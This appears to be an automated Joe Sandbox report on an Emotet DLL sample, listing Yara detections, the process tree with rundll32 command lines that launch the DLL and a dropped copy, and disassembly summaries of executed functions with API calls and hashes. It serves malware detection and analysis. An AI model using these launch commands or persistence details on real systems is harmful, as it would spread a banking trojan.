Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.566657802.00000000007A0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.567231949.0000000000D2C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.597839039.00000000007A0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.596491370.00000000007A0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.568652514.00000000007A0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000002.643009162.0000000000D2C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.596841009.0000000000D2C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.598456484.0000000000D2C000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000000.00000000.568840979.0000000000D2C000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: cmd.exe PID: 4892 Parent PID: 1456

General

Start time:	18:27:10
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1
Imagebase:	0x150000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 3868 Parent PID: 1456

General

Start time:	18:27:10
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal2.dll,Control_RunDLL
Imagebase:	0x10d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000002.545043648.0000000001060000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000002.00000003.526115475.0000000003368000.00000004.00000001.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 4652 Parent PID: 4892

General

Start time:	18:27:11
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe "C:\Users\user\Desktop\mal2.dll",#1
Imagebase:	0x10d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.543502348.0000000000BA0000.00000040.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000003.00000002.543542843.0000000000CFA000.00000004.00000020.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 5888 Parent PID: 556

General

Start time:	18:27:11
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6176 Parent PID: 1456

General

Start time:	18:27:15
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal2.dll,axamexdrqyrgb
Imagebase:	0x10d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.564875818.000000000328A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000005.00000002.564446850.0000000000DA0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: rundll32.exe PID: 6220 Parent PID: 1456

General

Start time:	18:27:21
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\mal2.dll,bhramccfbdd
Imagebase:	0x10d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.564537877.000000000076A000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_Emotet_1, Description: Yara detected Emotet, Source: 00000006.00000002.564451857.0000000000650000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6240 Parent PID: 556

General

Start time:	18:27:21
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservice -p -s CDPSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6364 Parent PID: 556

General

Start time:	18:27:36
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k networkservice -p -s DoSvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: svchost.exe PID: 6464 Parent PID: 556

General

Start time:	18:27:43
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k NetworkService -p
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: SgrmBroker.exe PID: 6704 Parent PID: 556

General

Start time:	18:28:02
Start date:	01/12/2021
Path:	C:\Windows\System32\SgrmBroker.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\SgrmBroker.exe
Imagebase:	0x7ff711470000
File size:	163336 bytes
MD5 hash:	D3170A3F3A9626597EEE1888686E3EA6
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 6752 Parent PID: 556

General

Start time:	18:28:18
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	c:\windows\system32\svchost.exe -k localservicenetworkrestricted -p -s wscsvc
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6928 Parent PID: 4652

General

Start time:	18:29:18
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL
Imagebase:	0x10d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 6956 Parent PID: 3868

General

Start time:	18:29:18
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Xjvbeeymcqp\hqokwlnubzbb.uql",vvWvMRmVQ
Imagebase:	0x10d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 7028 Parent PID: 6176

General

Start time:	18:29:26
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL
Imagebase:	0x10d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: MpCmdRun.exe PID: 7116 Parent PID: 6752

General

Start time:	18:29:33
Start date:	01/12/2021
Path:	C:\Program Files\Windows Defender\MpCmdRun.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Windows Defender\mpcmdrun.exe" -wdenable
Imagebase:	0x7ff737de0000
File size:	455656 bytes
MD5 hash:	A267555174BFA53844371226F482B86B
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: rundll32.exe PID: 7124 Parent PID: 6220

General

Start time:	18:29:33
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\rundll32.exe "C:\Users\user\Desktop\mal2.dll",Control_RunDLL
Imagebase:	0x10d0000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: conhost.exe PID: 7132 Parent PID: 7116

General

Start time:	18:29:33
Start date:	01/12/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff7ecfc0000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	false
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: svchost.exe PID: 7140 Parent PID: 556

General

Start time:	18:29:33
Start date:	01/12/2021
Path:	C:\Windows\System32\svchost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\svchost.exe -k WerSvcGroup
Imagebase:	0x7ff797770000
File size:	51288 bytes
MD5 hash:	32569E403279B3FD2EDB7EBD036273FA
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5544 Parent PID: 7140

General

Start time:	18:29:34
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 492 -p 1456 -ip 1456
Imagebase:	0x1360000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 5064 Parent PID: 1456

General

Start time:	18:29:36
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 304
Imagebase:	0x1360000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 4568 Parent PID: 7140

General

Start time:	18:29:48
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -pss -s 168 -p 1456 -ip 1456
Imagebase:	0x1360000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Analysis Process: WerFault.exe PID: 4320 Parent PID: 1456

General

Start time:	18:29:50
Start date:	01/12/2021
Path:	C:\Windows\SysWOW64\WerFault.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\WerFault.exe -u -p 1456 -s 312
Imagebase:	0x1360000
File size:	434592 bytes
MD5 hash:	9E2B8ACAD48ECCA55C0230D63623661B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: loaddll32.exe PID: 1456 Parent PID: 6140 loaddll32.exeCOMMON

Execution Graph

Execution Coverage:	1.7%
Dynamic/Decrypted Code Coverage:	5.5%
Signature Coverage:	4.9%
Total number of Nodes:	1406
Total number of Limit Nodes:	36

Executed Functions

Function 007BED95, Relevance: 9.1, Strings: 7, Instructions: 364
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H%R, xrefs: 007BF35B
vD, xrefs: 007BEF15
N8^, xrefs: 007BF29A
c, xrefs: 007BEE51
, ;, xrefs: 007BEF4A
?D, xrefs: 007BF023
?D, xrefs: 007BF017

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID:
String ID: , ;$H%R$N8^$vD$?D$?D$c
API String ID: 0-926347615
Opcode ID: bf5e2505eec498f0729c504514bf7e4cba18bd203af575e7d2536851bf1e78e2
Instruction ID: d4353fafea4f30bd580c8b0f5e76d391ca770fb80c4674b960da1a095d5128aa
Opcode Fuzzy Hash: bf5e2505eec498f0729c504514bf7e4cba18bd203af575e7d2536851bf1e78e2
Instruction Fuzzy Hash: EA1212B1509380DFD368CF25C94AA8BBBF2FBC5718F10891DE19986260D7B58949CF53

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC050, Relevance: 7.4, APIs: 3, Strings: 1, Instructions: 394
filememoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateFileA.KERNEL32(asd,00000000,00000000,00000000,00000000,00000000,00000000), ref: 6EDBC225
GetLastError.KERNEL32 ref: 6EDBC22B
VirtualAlloc.KERNELBASE(00000000,?,00003000,00000040), ref: 6EDBC247

Strings

asd, xrefs: 6EDBC21C

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AllocCreateErrorFileLastVirtual
String ID: asd
API String ID: 1112224254-4170839921
Opcode ID: 4ba4dc69572ec070fc8606c49ac568016e49294fc1a34a1f7e62a9dfe588dffa
Instruction ID: 3d62b7cd699783feecfe8b00d3f0ff0fa308dbbbd5e6ec991eb432516175ab67
Opcode Fuzzy Hash: 4ba4dc69572ec070fc8606c49ac568016e49294fc1a34a1f7e62a9dfe588dffa
Instruction Fuzzy Hash: B9E1A9B1A08306CFC750CF98C880B2AB7E1BF88744F54496DE99A9F385E731E945CB91

Uniqueness

Uniqueness Score: -1.00%

Function 6EDA1290, Relevance: 3.9, APIs: 3, Instructions: 137
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBE96
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBEB4
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBECD
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBECF
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBED6
Part of subcall function 6EDBBE60: GetTickCount64.KERNEL32 ref: 6EDBBEF4

GetProcessHeap.KERNEL32 ref: 6EDA1333
HeapAlloc.KERNEL32(00D10000,00000000,00023800), ref: 6EDA134D
HeapFree.KERNEL32(00000000), ref: 6EDA1437

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Count64Tick$Heap$AllocFreeProcess
String ID:
API String ID: 2047189075-0
Opcode ID: 88545e82f327844200202beea1e1b34549fba80ffa99585c547297f819f674b4
Instruction ID: 03c735b9bc019e1c7a9e8f840610a997fe320b44dfa17a550d7ae775b1c105ba
Opcode Fuzzy Hash: 88545e82f327844200202beea1e1b34549fba80ffa99585c547297f819f674b4
Instruction Fuzzy Hash: 3451BEB4900B448FD320CF69C980A96BBF8FF49714F108A2DE9D68BA91E730F545CB80

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC8DB, Relevance: 10.6, APIs: 7, Instructions: 136
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6EDBC922
___scrt_uninitialize_crt.LIBCMT ref: 6EDBC93C

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Initialize___scrt_uninitialize_crt
String ID:
API String ID: 2442719207-0
Opcode ID: 87308186058e87ddde61684c9e29e6c5d796191e8814b04fce4bbeeb2ec6aa82
Instruction ID: 63d77f0d3085eb8a16ef98643f66b12f3011ee88e20966a30fb39eed4018218b
Opcode Fuzzy Hash: 87308186058e87ddde61684c9e29e6c5d796191e8814b04fce4bbeeb2ec6aa82
Instruction Fuzzy Hash: B741B8F2E05615EFEB50CFE5C800BEE3679FF85B55F014515E8165F290E73089018BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC98B, Relevance: 7.6, APIs: 5, Instructions: 87
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

dllmain_raw.LIBCMT ref: 6EDBC9C8
dllmain_crt_dispatch.LIBCMT ref: 6EDBC9DF
dllmain_raw.LIBCMT ref: 6EDBCA27
dllmain_crt_dispatch.LIBCMT ref: 6EDBCA3A
dllmain_raw.LIBCMT ref: 6EDBCA4D

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: 513d93ecaecccb9fa56c6956740dc6680059799eecd947a47495922d744e30a7
Instruction ID: 68b50e2bae5c3ffd2ccdc7025082f5b408339e86243547eb3f17419a5a06c2da
Opcode Fuzzy Hash: 513d93ecaecccb9fa56c6956740dc6680059799eecd947a47495922d744e30a7
Instruction Fuzzy Hash: 5C2121F2E01515EFEB61CFE5C940AAF3A69FB85B94F014515F8165F250E730CD418BA0

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC2A0, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6EDAC2A5
GetProcAddress.KERNEL32(00000000,WakeByAddressSingle), ref: 6EDAC2B5

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6EDAC2A0
WakeByAddressSingle, xrefs: 6EDAC2AF

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WakeByAddressSingle$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1731903895
Opcode ID: e5c3111f4f6cfefaf298f5b3e758b35252f4785c1fdef7ab3ca5d68812131cb2
Instruction ID: 45fa054f8f2a160283822c10544fbdf2035c0d121c938d7d34c495ce77aad307
Opcode Fuzzy Hash: e5c3111f4f6cfefaf298f5b3e758b35252f4785c1fdef7ab3ca5d68812131cb2
Instruction Fuzzy Hash: 50B09BB0D04502D76D909BF1490C655365C55815C130104846713D6108E514C407BD31

Uniqueness

Uniqueness Score: -1.00%

Function 6EDAC320, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 9
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetModuleHandleA.KERNELBASE(api-ms-win-core-synch-l1-2-0), ref: 6EDAC325
GetProcAddress.KERNEL32(00000000,WaitOnAddress), ref: 6EDAC335

Strings

api-ms-win-core-synch-l1-2-0, xrefs: 6EDAC320
WaitOnAddress, xrefs: 6EDAC32F

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: WaitOnAddress$api-ms-win-core-synch-l1-2-0
API String ID: 1646373207-1891578837
Opcode ID: 6d0b1fd8a52997a546943c006a86780804089bf56cb048618ede98b346c49bd8
Instruction ID: e4027ef1aa5bc9f40eb8145abe00b15a0ce4ba97e7c85011b25621c3810c93a0
Opcode Fuzzy Hash: 6d0b1fd8a52997a546943c006a86780804089bf56cb048618ede98b346c49bd8
Instruction Fuzzy Hash: 71B092B0E04502E6AE50EBF1890CA863A5CA951AC230204806617DA219EA28C106BD31

Uniqueness

Uniqueness Score: -1.00%

Function 6EDC4161, Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6EDC4169

Part of subcall function 6EDC4073: WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,00000000,?,0000FDE9,00000000,-00000008,00000000,?,6EDC61E2,?,00000000,-00000008), ref: 6EDC411F

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EDC41A1
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6EDC41C1

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: afbb9acaf0e00f22763a050e39190cfffdaaf05ba5bb230d182fb940be792406
Instruction ID: 726cf3e05a6fd459a6da176a7f39dd43ba9ca56ae8cbd84c4ffa5781e25f5524
Opcode Fuzzy Hash: afbb9acaf0e00f22763a050e39190cfffdaaf05ba5bb230d182fb940be792406
Instruction Fuzzy Hash: 4D11C4F1505A16BE770117F69D8DCAF696CDE56AD83004915F949D3180EF70CE0381B3

Uniqueness

Uniqueness Score: -1.00%

Function 6EDBC7D4, Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6EDBC821

Part of subcall function 6EDBCEAD: InitializeSListHead.KERNEL32(6EDFE4A0,6EDBC82B,6EDFAF60,00000010,6EDBC7BC,?,?,?,6EDBC9E4,?,00000001,?,?,00000001,?,6EDFAFA8), ref: 6EDBCEB2

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6EDBC88B

Memory Dump Source

Source File: 00000000.00000002.643270331.000000006EDA1000.00000020.00020000.sdmp, Offset: 6EDA0000, based on PE: true

Associated: 00000000.00000002.643252557.000000006EDA0000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643350299.000000006EDCA000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.643480307.000000006EDFD000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.643508170.000000006EDFF000.00000008.00020000.sdmp Download File
Associated: 00000000.00000002.643683467.000000006EE00000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6eda0000_loaddll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: b0477bdadb7ef24fdf284110d0fcee8ca4c06a6e9c71885014b12d38fbba9150
Instruction ID: 3839253e25535bb68f2d3cb3a9c03a94711edef028fa22312ad67d0ea83502cc
Opcode Fuzzy Hash: b0477bdadb7ef24fdf284110d0fcee8ca4c06a6e9c71885014b12d38fbba9150
Instruction Fuzzy Hash: BB2102B6988205EEEB40ABF494047DD3768AF067ACF110C69D45B6F2C1FB318045CAB2

Uniqueness

Uniqueness Score: -1.00%

Function 007B0207, Relevance: 3.1, APIs: 1, Strings: 1, Instructions: 70
stringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

lstrcmpiW.KERNELBASE(000F59F5,00000000,?,?,?,?,?,?,?,9B842ACC,01B64447,00000000), ref: 007B02E1

Strings

(Gt, xrefs: 007B025E

Memory Dump Source

Source File: 00000000.00000002.642601650.00000000007A0000.00000040.00000010.sdmp, Offset: 007A0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7a0000_loaddll32.jbxd

Yara matches

Similarity

API ID: lstrcmpi
String ID: (Gt
API String ID: 1586166983-558867117
